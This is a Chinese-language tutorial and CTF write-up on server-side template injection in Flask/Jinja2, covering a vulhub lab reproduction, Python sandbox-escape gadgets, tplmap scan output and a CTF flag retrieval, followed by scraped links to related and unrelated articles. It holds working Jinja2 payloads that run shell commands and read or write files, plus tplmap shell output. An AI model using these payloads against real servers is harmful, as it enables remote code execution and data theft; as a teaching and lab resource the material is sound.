SSTI

一. 什么是SSTI

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

SSTI就是服务器端模板注入(Server-Side Template Injection)和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

二. flask/ssti漏洞

flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)

1. flask

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。模板引擎使用 Jinja2 。

Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

flask简单易学,下面代码是flask版的hello world

from flask import Flask		# 初始化
app = Flask(__name__) # 初始化
@app.route("/") # route装饰器 访问http://xxx.xx.xx时,使用hello函数进行处理响应
def hello():
return "Hello World!" if __name__ == "__main__":
app.run()

2. 模板

定义一个模板

<html>
<div>{$what}</div>
</html>

这只是一个模板,{$what}是数据。

我们可以使用相应的后端代码传入内容,得到新的html页面

3. Jinja2

a. 变量

Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, {{ name|capitalize }}

b. if&for语句

if语句简单示例

{% if user %}
Hello,{{user}} !
{% else %}
Hello,Stranger!
{% endif %}

for语句循环渲染一组元素

<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

三. 漏洞分析

1. 复现过程

使用 vulhub 提供的环境进行复现:

前端页面为:

源代码为:

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

2. 原因分析

t = Template("Hello " + name)这行代码表示,将输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:

3. 漏洞利用

使用官方提供的 poc 测试:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Jinja2使用沙盒模板执行环境

4. python沙盒逃逸

a. python相关知识

# __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
# __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
# __subclasses__():查看当前类的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ·····]
# __globals__以dict形式返回函数所在模块命名空间中的所有变量

b. 一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object //读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read() //写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

构造payload执行ls命令:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

四. tplmap

tplmap

D:\T00LS\CLT\tplmap>python tplmap.py -u "http://10.10.10.200:8000/?name=asdf"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point: GET parameter: name // 说明可以注入,同时给出了详细信息
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities: Shell command execution: ok // 检验出这些利用方法对于目标环境是否可用
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code [+] Rerun tplmap providing one of the following options: //可以利用下面这些参数进行进一步的操作 --os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

五. CTF中的题目

题目提示此题为python模板注入,使用{{2*2}}进行测试

1. 手工方法

构建payload:

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()") }}
{% endif %}
{% endfor %}

得到flag

2. 脚本

D:\T00LS\CLT\tplmap>python tplmap.py -u "http://111.198.29.45:46889/*" --os-shell
URL parameter: url
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux2
Technique: render
Capabilities: Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code [+] Run commands on the operating system.
posix-linux2 $ ls
fl4g
index.py
posix-linux2 $ cat fl4g
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
posix-linux2 $

参考文章

SSTI完全学习

flask ssti漏洞复现

SSTI(模板注入)的更多相关文章

  1. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  2. GYCTF Flaskapp[SSTI模板注入 ]

    题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...

  3. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  4. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  5. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  6. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  7. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

随机推荐

  1. 使用PyQtGraph绘制数据滚动图形(4)

    app = pg.QtGui.QApplication([]) win = pg.GraphicsWindow(title="数据滚动") win.resize(600,300) ...

  2. 安装 KubeSphere DevOps 系统

    1.  安装KubeSphere 安装了一夜,终于看到了期待已久的画面 第一步.硬件配置(PS:VirtualBox虚拟机): 操作系统:Ubuntu 18.04 CPU:4核 内存:8G 磁盘:60 ...

  3. @atcoder - AGC008E@ Next or Nextnext

    目录 @description@ @solution@ @accepted code@ @details@ @description@ 给定一个长度为 N 的序列 a,问有多少排列 p,满足对于每一个 ...

  4. Linux - Python的虚拟环境配置的坑 virtualenv: error: unrecognized arguments: --no-site-packages

    如果你在CentOS8下面配置虚拟环境时,遇到如下错误: [root@localhost ~]# mkvirtualenv my_django usage: virtualenv [--version ...

  5. Ubuntu16.06常见服务搭建

    摘要 系统环境Ubuntu 16.04 amd64 隔一段时间要配一次服务记不住,记录在这里方便以后安装. 目前更新了以下服务: ssh samba vimrc // 20200126更新 ssh 安 ...

  6. ObjectOutputStream和ObjectInputStream对对象进行序列化和反序列化

    1 Java序列化和反序列化简介 Java序列化是指把对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为java对象的过程. 我们把对象序列化成有序字节流,保存到本地磁盘或者Redis等 ...

  7. 拿来即用:用C+JS结构来处理JSON数据

    [面对的问题] 在物联网产品的开发过程中,对JSON格式的数据处理是一个强需求,例如亚马逊的 AWS IOT平台,设备与后台之间的通讯数据都是JSON格式,先瞄一眼大概的样子: 这是一个真实产品的通讯 ...

  8. 在 Spring Boot 中使用 HikariCP 连接池

    上次帮小王解决了如何在 Spring Boot 中使用 JDBC 连接 MySQL 后,我就一直在等,等他问我第三个问题,比如说如何在 Spring Boot 中使用 HikariCP 连接池.但我等 ...

  9. vue 生命周期钩子 路由钩子 动画钩子 执行顺序

    进入首页的钩子们 1 路由钩子 路由跳转前beforeEach 2 路由钩子 home组件内部:守卫执行前beforeRouteEnter 3.路由钩子 路由跳转后afterEach 4 生命周期 h ...

  10. List<List<Object>> list = new ArrayList<List<Object>>(); 求回答补充问题 list.get(position).add(Object);为什么会报错啊我想在对应的list里面添加对象

    public static void main(String[] args){ List<List<Object>> list = new ArrayList<List& ...